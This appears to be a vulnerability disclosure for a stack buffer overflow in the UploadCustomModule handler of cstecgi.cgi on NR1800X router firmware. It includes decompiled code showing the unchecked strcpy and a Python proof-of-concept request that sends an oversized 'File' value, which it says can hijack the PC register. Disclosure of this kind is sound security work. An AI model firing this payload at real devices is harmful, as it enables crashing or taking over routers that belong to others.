

NR1800X - bof - UploadCustomModule

Hi, we found a post-authentication stack buffer overflow at NR1800X (Firmware version V9.1.0u.6279_B20210910), and contact you at the first time.

```
18 char v18[204800]; // [sp+18h] [-6402Ch] BYREF
19 _BYTE v19[204800]; // [sp+32018h] [-3202Ch] BYREF
20 _DWORD v20[8]; // [sp+64018h] [-2Ch] BYREF
21 char v21; // [sp+64038h] [-Ch]
22
23 memset(v18, 0, sizeof(v18));
24 memset(v19, 0, sizeof(v19));
25 v6 = cJSON_CreateObject(v2, v3, v4, v5);
26 v7 = websGetVar(a1, "Action", "");
27 v8 = cJSON_GetObjectItem(a1);
28 if ( strcmp(v7, "GetCustomModule") )
29     goto LABEL_5;
30 v9 = websGetVar(v8, "FileMd5", "");
31 v10 = websGetVar(v8, "FileUrl", "");
32 v11 = websGetVar(v8, "File", "");
33 strcpy(v18, v11);
```

In function **UploadCustomModule** of the file `/cgi-bin/cstecgi.cgi`, the size of **File** is not checked, one can send a very long string to overflow the stack via `strcpy`.

PoC

```
import requests
import base64
url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi"
cookie = {"Cookie": "uid=1234"}
payload = "a" * 0x64100
data = {'topicurl': "UploadCustomModule", "data": {"File": payload, "FileMd5": "1", "FileUrl": "2"}, "Action": "GetCustomModule"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)
```

The PC register can be hijacked, which means it can result in RCE.

[illegible]